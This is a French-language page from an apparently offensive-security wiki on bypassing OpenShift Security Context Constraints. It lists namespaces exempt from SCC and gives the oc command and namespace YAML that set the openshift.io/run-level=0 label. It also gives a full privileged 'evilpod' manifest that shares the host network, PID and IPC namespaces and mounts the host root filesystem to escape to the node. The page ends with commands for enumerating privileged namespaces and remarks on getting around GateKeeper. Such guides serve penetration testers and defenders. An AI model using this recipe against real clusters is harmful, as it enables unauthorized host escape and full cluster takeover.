OpenShift - SCC bypass

L'auteur original de cette page est Guillaume

Espaces de noms privilégiés

Par défaut, SCC ne s'applique pas aux projets suivants :

default
kube-system
kube-public
openshift-node
openshift-infra
openshift

Si vous déployez des pods dans l'un de ces espaces de noms, aucun SCC ne sera appliqué, permettant le déploiement de pods privilégiés ou le montage du système de fichiers hôte.

Étiquette d'espace de noms

Il existe un moyen de désactiver l'application SCC sur votre pod selon la documentation de RedHat. Vous devrez avoir au moins l'une des autorisations suivantes :

Créer un espace de noms et créer un pod dans cet espace de noms
Modifier un espace de noms et créer un pod dans cet espace de noms

$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes

Le label spécifique openshift.io/run-level permet aux utilisateurs de contourner les SCC pour les applications. Selon la documentation de RedHat, lorsque ce label est utilisé, aucun SCC n'est appliqué à tous les pods dans cet espace de noms, supprimant ainsi efficacement toutes les restrictions.

Ajouter un Label

Pour ajouter le label dans votre espace de noms :

$ oc label ns MYNAMESPACE openshift.io/run-level=0

Pour créer un espace de nom avec l'étiquette via un fichier YAML :

apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0

Maintenant, tous les nouveaux pods créés dans l'espace de noms ne doivent pas avoir de SCC

$ oc get pod -o yaml | grep 'openshift.io/scc'
$

En l'absence de SCC, il n'y a aucune restriction sur la définition de votre pod. Cela signifie qu'un pod malveillant peut être facilement créé pour s'échapper sur le système hôte.

apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:

Maintenant, il est devenu plus facile d'escalader les privilèges pour accéder au système hôte et prendre ensuite le contrôle de l'ensemble du cluster, en obtenant des privilèges de 'cluster-admin'. Recherchez la partie Post-exploitation du nœud sur la page suivante :

Attacking Kubernetes from inside a Pod

Étiquettes personnalisées

De plus, en fonction de la configuration cible, certaines étiquettes / annotations personnalisées peuvent être utilisées de la même manière que dans le scénario d'attaque précédent. Même si ce n'est pas prévu, les étiquettes pourraient être utilisées pour accorder des autorisations, restreindre ou non un certain type de ressource.

Essayez de rechercher des étiquettes personnalisées si vous pouvez lire certaines ressources. Voici une liste de ressources intéressantes :

Pod
Déploiement
Espace de noms (Namespace)
Service
Route

$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5

Liste de tous les espaces de noms privilégiés

$ oc get project -o yaml | grep 'run-level' -b5

Exploitation avancée

Dans OpenShift, comme démontré précédemment, avoir la permission de déployer un pod dans un espace de noms avec l'étiquette openshift.io/run-level peut conduire à une prise de contrôle directe du cluster. D'un point de vue des paramètres du cluster, cette fonctionnalité ne peut pas être désactivée, car elle est inhérente à la conception d'OpenShift.

Cependant, des mesures d'atténuation telles que Open Policy Agent GateKeeper peuvent empêcher les utilisateurs de définir cette étiquette.

Pour contourner les règles de GateKeeper et définir cette étiquette pour exécuter une prise de contrôle du cluster, les attaquants devraient identifier des méthodes alternatives.

Références

PreviousOpenShift - Tekton

Last updated 2 months ago